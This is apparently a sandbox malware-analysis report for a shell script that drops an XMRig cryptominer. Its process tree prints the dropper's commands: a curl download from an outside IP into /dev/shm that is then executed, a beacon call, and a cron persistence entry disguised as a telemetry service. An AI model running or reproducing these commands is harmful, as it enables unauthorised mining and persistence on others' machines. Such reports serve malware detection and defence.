Overview

overview

10

Static

static

1

i.sh

ubuntu-18.04-amd64

10

i.sh

debian-9-armhf

7

i.sh

debian-9-mips

7

i.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260126-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25/04/2026, 09:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    i.sh
  • Size 389B
  • Sample260425-ls2ysset3x
  • SHA256 fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635
  • MD5 SHA1 SHA512 TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 1 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 31 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 5 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/i.sh
    /tmp/i.sh
    1⤵
    • Executes dropped EXE
    PID:1524
    • /usr/bin/curl
      curl -sL http://5.63.19.19/vc2 -o /dev/shm/v
      2⤵
      • Writes file to shm directory
      PID:1525
    • /bin/chmod
      chmod 777 /dev/shm/v
      2⤵
      • File and Directory Permissions Modification
      PID:1529
    • /usr/bin/curl
      curl -s ifconfig.me
      2⤵
      • System Network Configuration Discovery
      PID:1534
    • /bin/uname
      uname -m
      2⤵
        PID:1536
      • /usr/bin/curl
        curl -s http://5.63.19.19:9999/verify/hit-85.203.46.69-LOADER-x86_64
        2⤵
          PID:1537
      • /dev/shm/v
        /dev/shm/v
        1⤵
        • Executes dropped EXE
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        • Writes file to shm directory
        PID:1533
        • /dev/shm/kworker-main
          /dev/shm/kworker-main
          2⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:1541
        • /dev/shm/kworker-run
          /dev/shm/kworker-run --url 127.0.0.1:34993 --user 42qxWtESb9t1jvteBGCJybRiHB2x6fiMmhmosjUxfDsFUMLtJgYheVUaac2dvHrDfwcogpQFbTz4h2GXkB1rxonqUJQnUyz --pass ubuntu1804-amd64-20260126-en-9 --donate-level 0 --cpu-max-threads-hint 50
          2⤵
          • Checks hardware identifiers (DMI)
          • Reads hardware information
          • Checks CPU configuration
          • Reads CPU attributes
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:1545
        • /bin/sh
          sh -c "crond || cron"
          2⤵
            PID:1546
            • /usr/sbin/cron
              cron
              3⤵
              • Reads runtime system information
              PID:1547
          • /bin/sh
            sh -c "(crontab -l 2>/dev/null | grep -v 'sys-telemetry-svc'; echo '*/15 * * * * pgrep -x 'kworker-run' > /dev/null || /dev/shm/.sys-telemetry-svc') | crontab -"
            2⤵
              PID:1548
              • /usr/bin/crontab
                crontab -
                3⤵
                • Creates/modifies Cron job
                PID:1550
              • /bin/grep
                grep -v sys-telemetry-svc
                3⤵
                  PID:1552
                • /usr/bin/crontab
                  crontab -l
                  3⤵
                    PID:1551

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .t
                    • Path /dev/shm/.t
                    • Size 1B
                    • SHA256 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
                    • MD5 SHA1 SHA512
                    Submit Download

                    kworker-run
                    • Path /dev/shm/kworker-run
                    • Size 2.5MB
                    • SHA256 6e08236af6539d6fb654bb7c5cc8634bc2ecc0bf1738733ca2b984feae5bad7c
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    v
                    • Path /dev/shm/v
                    • Size 9.2MB
                    • SHA256 ed33fce6b1ea7732567eb674aaff983bdc2eac7da8f541b81963d37f0559e36c
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    tmp.A1YsnG
                    • Path /var/spool/cron/crontabs/tmp.A1YsnG
                    • Size 252B
                    • SHA256 9a7256ec10234263da1e07ede1a2e39e63b28dd8cd06fa8ea4aeec05c06a5890
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download